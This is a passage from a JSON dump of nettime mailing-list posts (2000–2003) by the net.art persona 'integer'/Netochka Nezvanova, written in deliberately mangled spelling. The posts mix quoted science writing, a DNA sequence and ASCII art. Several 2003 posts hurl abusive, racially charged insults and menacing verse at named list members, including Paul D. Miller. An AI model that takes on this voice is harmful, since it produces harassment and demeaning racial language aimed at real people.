it eloquently described an error\nwomen fall for.  you dispel its claim to necessity.  that list above, it\ncontains no men because the women, their deaths do not arrive for me in\nsuch a disturbing fashion.  we need to swell the # of one-ly-nesses.\nyour work generates past the hierarchies of nations and misogenies of\ngendered humans.human miso-gen(itive)y.  your e.mail campaigns and the\nmurtagh situation was pure human genius = as it stands.  anyway, i\nappreciate the work you live.  human creativity and love educates and\ndisciplines the m\u00f8del of civilization.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0004/msg00193.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> Sender: owner-nettime-l {AT} bbs.thing.n",
                "from": "integer {AT} www.god-emil.dk",
                "follow-up": [
                    {
                        "from": "integer {AT} www.god-emil.dk",
                        "content": "\n     [orig to <lev {AT} shoko.calarts.edu>]\n\n\nhallo + hou do u do. [man!ere art!f!z!el +? pas de tout]\nje su!s fat!gue. egal zalut.\n= kop! pazte + 01 zleep rout!n.\n= nato.0+55 eku!v ov belou \n= kl!k + kl!k !n progresz. nn\n\n\n\nhow is the development of the processing capabilities and organization\nof the brain's cerebral cortex controlled? intrinsic mechanisms (such as\ngenetically encoded developmental programmes) and extrinsic inputs (such\nas the things we see and hear, and the ways that this information is\nencoded by specific discharges within particular sensory systems) both\nhave a say. but to what extent can the developmental pathways be\noverruled by inputs from the outside world? two fascinating papers by\nsur and colleagues, on pages 841 and 871of this issue1, 2, provide some\nof the most compelling evidence yet for the exquisite sensitivity of\ncortical development to external cues. \n\nhow does one even start to determine the relative contributions of\nexternal and internal factors to cortical development? ferrets have\nproved a useful model animal, in part because they are born before their\ndevelopment has progressed too far. over the past decade, sur and\nco-workers have been perfecting an experimental approach that consists\nof surgically manipulating the nerves that feed into different parts of\nthe cortex of very young ferrets. specifically, the nerves from the\nretina (which normally lead to a subcortical region, the visual\nthalamus, which in turn feeds into the primary visual cortex, or v1) are\nredirected to grow into the auditory thalamus (which feeds into the\nprimary auditory cortex, or a1). the auditory thalamus itself is\ndeprived of its normal auditory inputs in this model.\n\nin early experiments3, 4, sur and colleagues showed that this 'rewiring'\nprocedure results in the emergence of a functional v1 in a cerebral\ncortex zone that was otherwise destined to develop into primary auditory\ncortex. the new visual cortex has a topographic organization that\nparallels that in normal v1. moreover, different neurons in this rewired\ncortical zone -- like those in normal v1 -- are selective for\ndifferently orientated visual stimuli. the normal organization of a1, in\ncontrast, goes awry: the a1 territory is taken over by visual inputs.\nsuch experiments have provided important evidence that the organization\nand responsiveness of different cortical regions can be shaped by the\nparticular patterns of neuronal discharge that result from neuronal\nstimulation by different inputs -- in this case, by retinal versus\ncochlear (auditory) inputs.\n\nsur and colleagues' latest papers1, 2 advance this theory by several\ncrucial steps. first, sharma, angelucci and sur1 show that particular\nhigher-order features seen in normal v1 emerge in the rewired visual\ncortex (fig. 1). these features are called 'visual orientation columns':\neach consists of a group of neurons that share a preference for visual\nstimuli with a particular orientation. the layout of these columns\nprovides a basis for representation of important spatial characteristics\nof visual stimuli. the 'pinwheel' organization of these columns (fig. 1)\nin the rewired animals resembles that in v1. the authors go on to show\nthat horizontal connections -- links between separate columns that\nrepresent corresponding stimulus orientations -- emerge in the rewired\nauditory cortex, just as in normal v1. these horizontal connections and\norganizational structure have no equivalents in the normal a1. all of\nthese studies1, 3, 4 convincingly show that much of what typifies the\nfunctio!\n!\n!\nnal organization of v1 can be generated within a1 by delivering retinal\ninputs to a1 through the auditory thalamus. \n\nbut the story does not end there. von melchner, pallas and sur2\ndemonstrate that rewired animals show behavioural responses to visual\nstimuli that are presented only to the neurons feeding into the rewired\ncortex. in other words, the animals 'see' with what was their auditory\ncortex. the ferrets were given the option of receiving a reward from a\nspout to their right following a light stimulus, or to their left after\na sound stimulus. after vi\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00199",
                        "date": "Sun, 23 Apr 2000 01:48:09 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200004231348.JAA13946 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0004/msg00199.html",
                        "content-type": "text/plai",
                        "author_name": "integer",
                        "subject": "<nettime> Sender: owner-nettime-l {AT} bbs.thing.n"
                    }
                ],
                "message-id": "200004221550.LAA11263 {AT} bbs.thing.net",
                "date": "Sat, 22 Apr 2000 02:12:20 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00134",
                "content": "\n\n\n>PC/Mac:\n>Dataton AB stopped writing for PCs some time ago; their last PC \n>software was MICSOFT\n\n\n\n\n        The funktion of the brain is to represent the konstant. lasting. \n        essential and enduring features of objekts. surfaces. faces. situations. \n\n\n\n        Dataton AB ava!lab!l!t! page \n  \n        <title> Welcome to Adobe GoLive 4 </title>\n\n\n\n\n        The funktion of the brain is to represent the konstant. lasting. \n        essential and enduring features of objekts. surfaces. faces. situations. \n\n\n\n        eusocial.com - \n\n        <title> nato.0+55.macht.ganz.gluckl!ch+fre! </title>\n\n\n\n\n\ntransmission along nerve fibres \nchemical transmission at synapses\n\nabb\u00e9 nollet in eighteenth century paris \ndid party tricks with static electricity\n\ndescartes - other batteries lack consciousness \n\nrepetition teaches humans automation\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\nenkor                                                                m\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\nenkor                                                                o\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\nenkor                                                                d\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\nenkor                                                                u\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\n\nenkor                                                                l\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\n\nenkor                                                                a\n\neusocial.com -> superb source for ztor!ez onl! ecz!zt !n ztor!ez\n\n\n\n                                                                    +?\n\n\n\n>>  >I really love\n>>  >what I've seen with nato, \n\n\n= dzat amer!kn 4 really love nato +?\n\n\n>> but unfortunatly I'm not on the mac tip these\n>>>days.\n\n\"I'm not on the [mac] tip\"\n\n= dzat amer!kn 4 not be!ng !n luv +?\n\n\n\n>>luvl! az = nn = ultra undupl!kabl.\n>>\n>>2ndl! = pcz = ultra ultra !kk. = apple\n>>= ver! ultra zt!l!sch da = \n>>zuperb ultra haute couture harduear.\n>\n>yes, nice architecture.  \n\n= 01 ark!tekturl dekoraz!e.\n\n\n>the same components in a PC make the PC the \n>same price (or more expensive ( {AT} <here)), yet one still doesn't have \n>the same machine.\n\npcz > eczpenz!v.\n= protokol <=> konglomerat data kontra !nd!v data.\n= konglomerat data = appearz 2 b !neczpenz!v\nma!z -\n\n        Jacques Riviere : \"the cubists are destined ... to give back to painting\n        its true aims - which is to reproduce ... objekts as they are\"\n        (not as they appear to the eye)\n\n\n        Konsider - \"not as they appear to the eye\"  +\n\n        US businesses alone cost society ~$3 trillion per year\n        - this is 5 times their profit.\n\n\n\n\n\n\n\nemplo!eez = dusz neu + !mprovd zold!erz.\ncezt fasc!nant. du = !n dze arm! nou. arbe!t.macht.+?\n\narbe!t.macht.arbe!t z!l!.  cezt ga!a. = l!f makez l!f.\n\n= arbe!t makez arbe!t.  zan!taz!e + konzumaz!e\n\n\n>but I'm not all that interested in the platforms:  I'm interested in \n>the tools, for with them I realize my projects.  \n\ntrue +?\n!f du = konzum 0+0 nutr!entz heute \n+\n!f du = konzum 0+0 nutr!entz heute \n+\n!f du = konzum 0+0 nutr!entz heute \n+\n!f du = konzum 0+0 nutr!entz heute \n+\n!f du = konzum 0+0 nutr!entz heute \n=\ntrue +?\n\n\ndze esensz ov humanz = !n eat!ng.\n\n\n>My primary tools are \n>on the Mac so I invest in the Mac.  \n\ndoez dze mac !n u !nvezt +?\n\n`!` !nvezt !n nn.\n\n\n>Some of the tools are on both PCs \n>and Macs. \n\n\npercy bysshe shelley and mary shelley were fascinated by `galvanism`. \nthey inadvertently electrocuted the family cat whilst trying to utilize \nelectricity for treating his sister's skin disorder. \n\n\n>While I have no problem sitting at a PC, the ride is \n>smoother on the Mac when comparing (practically) identical software.\n\n\none thinker in just four lines champions the printing press \nto avoid upsetting the editor and the thermos bottle for no reason. \nanother nominates television but remarks of this pervasive socially \ntransforming invention merely that it provides information influences \npatterns of behaviour such as sex and crime and has reduced the \npopularity of live performances.\n\n\n>Also nice is using a four- (actually 6-) button mouse on the Mac (cf. \n>Kensington).  It makes MAX programming a breeze.\n>\n>>n*\n>>*n\n>>n*\n>\n>== **?\n\n\n** = ark!tektrl dekoraz!e\n\n\nn*\n\n\n\ntaken the `meaning` out of the domain name system.\n\n\n     - http://www.ggttctttat.com\n\n\n     !.e.  the internet = 1 live darwinian ratchet\n           und tzo life forms may komport selves accordingly\n           e.g. as ultra desired _ e.g. as             +?\n\n\n             1 gatcctattt atgctcctga taccgaatat taatgtggat aaattcaaaa aaaatttcct\n            61 gaatttatat taatttttta aaatctgaaa atctattgga ctcctagtgt taaattcaaa\n           121 tgacaagttt tacatgataa ctcctagttg ttttacattt aaattctagt gatagttcta\n           181 aatttatctc tatcaataaa actttcactt ccggcaatta gccgattttc gggaaatttt\n           241 gaatttcgac aatttggcga tttgccggaa attttgaatt ccggcaattt gccgacttgc\n           301 cgaaattttt aatttttggc tatgtgccga tttaccggaa attttgaatt acggcaaatt\n           361 gctgatttgc cggaaatttt caattccggc atttttccga attgtcggaa aaatctatag\n           421 aacaattcga gattgaatca cgttttacgc gcaaaattca caattttttt ctcgaatttt\n           481 taaaaatgca ttatttcgct gcaagacccg accgcatgta cctttaacct cgtctctaca\n           541 gaatccttat tctgtaaatg tttgcatcca aattccaaaa tccgaatacc ctcttccata\n           601 tcattccgat attcaattgt aatcttgctc aacgcgagtg accattcggc aatcgccagg\n           661 tcactcatca ccgggacacg tggatgcatt gttcgtagat ttatgtccgc cattcttgga\n           721 tctcccgacc gacacgtcac gtgttgtttg cagattcgaa ttaaatcgat atcgattgat\n           \n       \n\n\n\n+ the `meaning` out of the family name system \n\n\n     Netochka Nezvanova\n\n\n\n\n\n\nconcilier\nofficielle\ndeux\n\na\n\n\nprecis\n\nen urss\ncest inexact\n\n\n\n\n\neusocial.com -> superb source for ceramic ribbons + microfluidic channels\n\n\n\n\n                                          pre.konssept!\u0158n  \n                                                meeTz ver!f1kat!\u0158n.     \n\n\n\n-\n\nNetochka Nezvanova\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n {AT} www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 26 Jul 2000 11:58:30 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200007261219.IAA21003 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0007/msg00134.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> Sender: owner-nettime-l {AT} bbs.thing.n"
            },
            {
                "id": "00213",
                "content": "\n\n\n\n\n>hello extraordinary creature\n\nyes alex\n\n\n>haha ;)  very imaginative. now you want.\n\n\noccupation: i desire to rent\n\n\n>blp blp blblb blp\n\n\nu uant 2 g!v l!fe +?\n\n\nl!stn\n\n\n\n\ndance at sea\n\nmany seahorses form faithful long-term\npair bonds which are\nreinforced by greeting rituals.\nthe male and female may swim\ntowards each other and dance\ntogether before changing colour and\nmating. the female plants sticky\nstrings of eggs in the male\u00b9s\npouch, and he broods the embryos\nfor up to six weeks before going into\nlabour to produce fully independent\nyoung. it is no wonder that these\nbizarre creatures have fascinated people\nsince at least the time of the ancient\ngreeks. the first guidebook to the world\u00b9s\nseahorses does justice to their beauty and\nextraordinary biology, while being a user-friendly\nidentification handbook and\noffering practical advice on the urgent\nneed for conservation. seahorses: an\nidentification guide to the world\u00b9s\nspecies and their conservation is by sara\na. lourie, amanda c. j. vincent and heather j. hall\n\n\nwhat is the price of\noversimplification\n\n\n\n\n\n\n\n\n                             n\n                           n      n\ntttrrrrraaaaaaampbpbpul!     \n                                     n\n                             n      n     n      n                                  \n                        n\n                                           n      n\n                n      n                                   n      n\n                \n                         n      n                                          n      n                                                                             \n                                        n      n\n                   \n                       n\n                                           n      n\n                    \n                             n      n                                          n      n                                                 \n                                                       n      n\n                             n                                          n      n\n                 \n                         n      n                                          n      n                                                                             \n                                        n      n\n                   \n                       n\n                                           n      n\n                    \n                  \n                         n      n                                          n      n                                                                             \n                                        n      n\n                   \n                       n\n                                           n      n\n                    \n                  \n                         n      n                                          n      n                                                                             \n                                        n      n\n                   \n                       n\n                                           n      n\n                    \n                                     n\n                           n      n\n                                                v3kt0r.r2!n - ztra!ng !n 2 dze z!ngular!t!\n\n\n\n-\n\nNetochka Nezvanova\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n {AT} www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00213.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> [ot] [!nt] \\n2+0\\",
                "from": "integer {AT} www.god-emil.dk",
                "follow-up": [
                    {
                        "from": "integer {AT} www.god-emil.dk",
                        "content": "\nin a survey of 200 universities to asses how quickly they had\nadopted 30 specific innovations siegfried et all found that the \naverage time between adoption of an innovation by the 1st institution \nand its adoption by half of them was more than 25 years, which\nis twice as long as the comparable figure in industry\n\n\n\n      \n\n        academie -> industrie -> life form      \n\n\n       \"We shall demolish, destroy, devastate, degrade and \n        ultimately eliminate the essential infrastructure. \n        We shall relentlessly grind them down and it will \n        continue as long as it takes to accomplish our objectives\"\n\n        pronouncement by : US general Wesley Clark - supreme allied commander\n        on the NATO bombardment of Yugoslavia  :  illustrative \n        of the rigid. sequential. m9ndset of outdated xy \"we\" life forms. \n\n\n        The real revolution life forms are currently living = Korporat Fascism. \n        During Korporat Fascism the korporation supplants the inkompetent + \n        inefficient state machinery. Korporat mikro wars supplant war.\n        Unlike wars korporat wars are smaller scale solutions + ubiquitous.\n\n\n        Progress is inevitable. \n \n        The gene konglomerate supplants the relatively invariant + inkompetent \n        + inefficient individual konglomerate. Kompetition supplants Korporat mikro wars. \n        Kompetition is a small scale solution. It is incessant. Membuffer = reset.\n\n        Unlike the State + the Korporation the Individual is a natural konglomerate.\n\n\n\n\nkonglomeratz - log!kl rezultat ov organ!szd rel!g!on\n\n\n\n\n\n\n\n\n\n                                          pre.konssept!\u00d8n  \n                                                meeTz ver!f1kat!\u00d8n.     \n\n\n-\n\nNetochka Nezvanova - cheerful! perversz - she dez!dz uat 2 do nekst. \\ del!z!ouz \\\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n {AT} www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00305",
                        "date": "Fri, 29 Sep 2000 10:00:59 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200009300809.EAA05136 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00305.html",
                        "content-type": "text/plai",
                        "author_name": "integer",
                        "subject": "<nettime> [ot] [!nt] \\n2+0\\"
                    }
                ],
                "message-id": "200009222106.RAA21781 {AT} bbs.thing.net",
                "date": "Fri, 22 Sep 2000 05:01:30 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "id": "00662",
                "content": "\n>\"integer\" > F*ck O*ff\n\n\nDear Mr. Jankee Chocolat,\n\nLet us rake through memory fields.\n\nI have pleaded until I changed colour ... that you sir - keep your profane. 1 dimensional. \nitchy.bitchy.kolored vomit out of my private space.\n\nI repeat - to hell with your colorless stains Jankee.\n\n\n\n>\"integer\" > F*ck O*ff\n\nYours a very succinct + brilliantly concrete ardent ideologie is my dear King\n\nI suspect Armenian girls dream of wearing you as a neck lace ... \nuntil in 1x delicate shadow the sweet sugar becomes the hue of green\n\n\nNN - plain + fancy\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Mon, 17 Feb 2003 20:45:34 +0100 (CET)",
                "to": "nettime-l@bbs.thing.net, syndicate@anart.n",
                "message-id": "200302171945.h1HJjYJ43448@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg00662.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "content": "\nPaul D. Miller, another 2 bit jankee prostitute\n\n\n>Yeah. \n\nSuck it & see.\nSalute me.\n\n\n>Most drugs come out of either military or biological or \n>pharmaceutical research. \n\n+ that they are digested by the Amerikan Public Education System\nreveals the dynamics of modern art\n\n\n\n\n>They're like military applications to \n>condition troops for different environments. A lot of research into \n>painkillers was done in World War II -- imagine the kind of pain you \n>feel when there are bullets flying over your head and your leg gets \n>shattered. \n\n\nDearest Paul, \n\nFriendly caress on your m9nd konta!nr\n\nSince the United Snakes of Amerika Public Education System is \nsimply.laughable + inferior to the Eastern European Education System \nallow me to share select biological facts which \"WHITEY\" didn't teach you\n[you may care to contemplate why]. In doing so I hope\nto minimize the progress Ameri.cans such as your itchy bitchy self\nbring to international shores.\n\nI read you listen [an extra friendly caress on your m9nd konta!nr]\n\nWhen \"bullets flying over your head and your leg gets shattered\"\none does not feel pain but fear. This, because nature more\ncreative than Americans is and ensures one does not\nconsciously concern oneself with pain until one is out of danger.\n[elucidates my simply.delicious comportment towards American garbage worldwide as well]\n\nThus, during  \"bullets flying over your head and your leg gets shattered\"\nnaturally occurring opiate blockers are released which ensure one\nfeels just dandy ...\n\nA bit as Paul D. Miller, aka simply.amicable 40 year old black boy,\nis protected by the 40 year old NETTIME white boys [sucking the itchy bitchy\nwith great ardor], from my equally amicable caresses.\n\n\n\n>pax \n\npax americana - jumbo sized opiate blocker\n\n\n\n\n\n>Yeah. \n\nMerciful natural analgesic.\n\nShould the very cute but ignorant social butterfly\ndesire playing with real boys ... let's synchronize our powerbooks\nReal boys play for power.\n\n\n\n\n\n\n\n\n\n\n\n-\n\nTo: \"Paul D. Miller\" <djspooky@djspooky.com>\nSubject: E very ideology is contrary to human psychology        Re: allo zk\n\n>yawn - \n\nGood Morning Paul\n\n\n\n>not exactly sure what this is about... \n\nhttp://www.m9ndfukc.com/b96c99/zekuensz/00.gif.hTmL\nhttp://www.m9ndfukc.com/b96c99/zekuensz/02.gif.hTmL\nhttp://www.m9ndfukc.com/b96c99/zekuensz/02.gif.hTmL\nhttp://www.m9ndfukc.com/b96c99/zekuensz/04.gif.hTmL\n\n\nE very ideology is contrary to human psychology \nP aul\n\n\n>but this kind of \n>message is boring.\n\nWomen can be boring [NN included]\nbut generally speaking, their lives are more interesting than that of nations. \nThis we deduce from the countless scaffolds and altars erected by miserable men\non a day of revelation\n\n\n\n\n>Paul\n\nSome endure to this day.\n\n\n>yawn - \n\nGood Morning Paul\n\nLet us celebrate reason together. Are you ready to fall\nGood. The free mind readily accepts what is necessary.\n\nDemocracy is a form of Christianity sans superior justification.\nAs Nietzsche indicated: he who has liberated his mind still has to purify himself.\n\nThe mechanized hordes you call to blind v iolence -\nand it they call their strength. They have the authority\nbut refuse to sign THEIR name. As a result of this cycle,\nrace after race has metamorphosed into a special blundering\nfor power for mediocre men. Duty, a biology for domestic use \nis the only divinity. \n\nThis is what is unforgivable in you.\nYou are free.\n\n\n\n>>  >the elections are just around the corner.\n>>  >\n>>  >Do you really want a war?\n>>  >\n>>  >Do you really like Bush Jr.?\n>>  >\n>>  >\n>>  >Do you really want a f*cked up world indebted to oil?\n>>  >\n>>  >yes, the voiting system is f*cked up, but the basic thing is to at\n>>  >least try - it's not alot of time, and it does have an impact.... in\n>>  >one way or another...\n>>  >Paul\n\n\nSoft caress\n\nbecause great are the ends which are abolished and articulate is the system which freed \nyou Paul\n\net aussi - http://www.m9ndfukc.com/b5c98/zekuensz/3.gif.hTmL\n\n\n\n\none thing is - Damocles never danced better than beneath the sword\n\n\n\n\n\n\n\n\n\n>============================================================================\n>\"None are more hopelessly enslaved than those who falsely believe \n>they are free....\"\n>Johann Wolfgang von Goethe\n>\n>\n>Port:status>OPEN\n>wildstyle \n>\n>Paul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\n\n\n\n                       and another is - free for what\n\n\n\n\n\n\nLucian  [who dreams of lies  \n                                (bkz freedom != !mportant. hap!nesz != !mportnt. ____... ur turn\n\n\n\n\n\n\n\n\n\n>>\"Paul D. Miller\" <djspooky@djspooky.com>\n>>\n>>\n>>  >Just a reminder...\n>>\n>>f!k artworld spook! boog! bullsh*t profan!t! 2 b!t mar!oneta\n>>\n>>\n>>\n>>\n>>  >>yes, the voiting system is f*cked up, but the basic thing is to at\n>>  >>least try - it's not alot of time, and it does have an impact.... in\n>>  >>one way or another...\n>>\n>>b!t l!ke ur !tch! b!tch! zkratch! znatch!\n>>\n>>\n>>\n>>\n>>  >Paul\n>>\n>>  perfa mar!oneta 4 dze 2 b!t jankee pedagog!e\n>>\n>>\n>>\n>>\n>>  >Do you really want\n>>\n>>on a prakt!kl lvl m! konzt!tut!v komponentz = uant ur !tch! b!tch! \n>>zkr!tch! znatch!\n>>komponentz on a float tangenta\n>>\n>>Just a reminder...\n>>\n>>\n>>\n>>\n>>\n>>\n>>\n>>  >f!ck artworld \"new agey\" bullsh*t and actually do\n>>  >something...\n>>  >\n>>  >the elections are just around the corner.\n>>  >\n>>  >Do you really want a war?\n>>  >\n>>  >Do you really like Bush Jr.?\n>>  >\n>>  >\n>>  >Do you really want a f*cked up world indebted to oil?\n>>  >\n>>  >yes, the voiting system is f*cked up, but the basic thing is to at\n>>  >least try - it's not alot of time, and it does have an impact.... in\n>>  >one way or another...\n>>  >Paul\n>>  >\n>>  >\n>>  >\n>>  >ps, below is one reminder why you should vote....\n>>\n>>\n>>\n>>!tch! b!tch! zkr!tch! z!!!!!!k jankeez\n>>\n>>du b!zt ez\n>\n>\n>\n>============================================================================\n>\"None are more hopelessly enslaved than those who falsely believe \n>they are free....\"\n>Johann Wolfgang von Goethe\n>\n>\n>Port:status>OPEN\n>wildstyle access: www.djspooky.com\n>\n>Paul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\n\n\n\n\n\n\n>befor i kick in you head\n\nletz dr!v mizter yanki kr!ket\n\n\n\n\n\n\nue.ll z uho !z uear!ng dze trouzerz\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ngood ztr!kez l!ke dze thundrbolt\n[!n zerv!sz ov v!rtue b!enzur\n\n+ a b!t ov ultra v!olensz\n= l!ghtz up juzt!sz\nl!ke a flash ov hap!nesz\n\nz - dze ztarz = sh!n!ng br!!!!!!!!!!ghhhhht\n\n\n[bkz ! = !n dze mood\n\nphpz !.ll tear out dze!r tonguez\n+ dze! u!l konfusz !t u!th plzr\n\nbkz ! refer 2 m! zelv\naz abztrakt prov!densz\n\n+ ! m dze reuard ov m! oun re!gn\nu!th no reuard but h!ztor! + dze prezent\n\nbkz ! d!zl!ke pouer - uat an apal!ng !dea\n+ ! m kruel + u!cked\n\n+ !f ! rezort 2 pure reazon !t = 2 z!lensz m! zelv\n+ ! m !n dze mood\n\n! hav a zoz!al kontrakt\n! kanot akzept dz!ngz az dze! r\nbkz ! m !n a mood feroc!ouz\n+ ! uant dzm brokn + !mposzd upon\nb! dze lau ov konkrete klar!t!\n\nfa!th !z not enough\na pol!sz forsz !z needed az uel\n\n! uant ur m!zer! 2 flour!sh\naz a god\n\n!m tak!ng u uear u uant 2 b\n\nl!ke a balloon ov heaven empt!\n\nand I u!l b ur truth\nI shl kreate u 4rom dze ordr ov dz!ngz\n\nu shl b good\n\nand u shl obe! m!\n\n\n4 I m u\n\n+ u shl dr!nk m! 2 dze  \n\nlazt\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00484",
                "date": "Sun, 16 Feb 2003 02:22:39 +0100 (CET)",
                "to": "djspooky@djspooky.com, lev@shoko.calarts.edu,nettime-l@bbs.thing.net, syndicate@anart.n",
                "message-id": "200302160122.h1G1MdU31639@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg00484.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\ 01 faze ov m! breez! perzonal!t!"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "content": "\n\n\n\n\n\n        \\\\ swords and guns haven't eyes\n\n\n\n\n\n\ndebuch ||| WAR = LV+\n\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00086",
                "date": "Wed, 12 Feb 2003 02:13:21 +0100 (CET)",
                "to": "lev@shoko.calarts.edu",
                "message-id": "200302120113.h1C1DLY15686@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg00086.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\ np7!!"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "id": "00013",
                "content": "\n\nthe very romantik Andreas Broeckmann <abroeck@transmediale.de> typed\n\n>>both failed to mention that the translation of \"leading net artists around\n>>the world\"\n>>\n>>is: persons around the world whom rhizome.org employees contacted and ...\n>\n>even better: one of the 'leading net artists' who wrote the first carnivore\n>client, Joshua Davis, was himself on the jury of the Prix Ars Electronica\n>this year.\n>\n>http://prixars.aec.at/2002/net/jury.asp\n\n\naaaaAAAAAaaaaa.\n\nllLLLllltzo ... suppose others like playing with their hill in the sand as much \n\nas you daaaAAAAaaarling\n\n-.o\n\n\n\n>even better:\n\n    -.-\n\n\nlvngl! [! zuear + zuear]. nn\n\n\n\n\npzb.\n\n>even better >even better:\n\nu like it best when i am not szszszszo gentle riiiiIIIIIIIiiight +?\n\n[all okz!dent xyz = zl!ghtl! cucu (bored)\n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Wed, 26 Jun 2002 22:49:56 +0200 (CEST)",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "200206262049.g5QKnuj74050@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0206/msg00013.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] Re: <nettime> How We [[...] [digest]] [net.ti.me.moda. rat.erz = lvvvvvv zmak!ng rh!zom"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
